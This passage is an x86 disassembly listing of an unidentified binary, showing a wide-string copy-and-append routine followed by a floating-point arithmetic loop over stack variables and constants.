rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x200]
mov dword [ebp - 0x46b4], eax
mov ecx, dword [ebp - 0x46b4]
mov dword [ebp - 0x51d0], ecx
mov edx, dword [ebp - 0x46b4]
mov ax, word [edx]
mov word [ebp - 0x4aca], ax
add dword [ebp - 0x46b4], 2
cmp word [ebp - 0x4aca], 0
jne 0x44a000
mov ecx, dword [ebp - 0x46b4]
sub ecx, dword [ebp - 0x51d0]
mov edx, dword [ebp - 0x51d0]
mov dword [ebp - 0x6344], edx
mov dword [ebp - 0x6340], ecx
lea eax, [ebp - 0x978]
add eax, 0xfffffffe
mov dword [ebp - 0x49b4], eax
mov ecx, dword [ebp - 0x49b4]
mov dx, word [ecx + 2]
mov word [ebp - 0x4ac8], dx
add dword [ebp - 0x49b4], 2
cmp word [ebp - 0x4ac8], 0
jne 0x44a04e
mov edi, dword [ebp - 0x49b4]
mov esi, dword [ebp - 0x6344]
mov eax, dword [ebp - 0x6340]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x31cc], 0
mov dword [ebp - 0x31d0], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x47b4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4644], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4644], xmm0
jmp 0x44a0df
movsd xmm0, qword [0xa718e0]
comisd xmm0, xmmword [ebp - 0x4644]
jbe 0x44a190
movsd xmm0, qword [0xa715e0]
mulsd xmm0, qword [ebp - 0x4644]
mulsd xmm0, qword [ebp - 0x4644]
movsd xmm1, qword [ebp - 0x4644]
mulsd xmm1, qword [ebp - 0x4644]
subsd xmm0, xmm1
movsd xmm1, qword [0xa713b0]
mulsd xmm1, qword [ebp - 0x4644]
mulsd xmm1, qword [ebp - 0x4644]
addsd xmm1, qword [0xa71478]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x47b4]
movsd qword [ebp - 0x47b4], xmm0
movsd xmm0, qword [ebp - 0x47b4]
comisd xmm0, xmmword [0xa71528]
jbe 0x44a18b
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x47b4]
jbe 0x44a1e1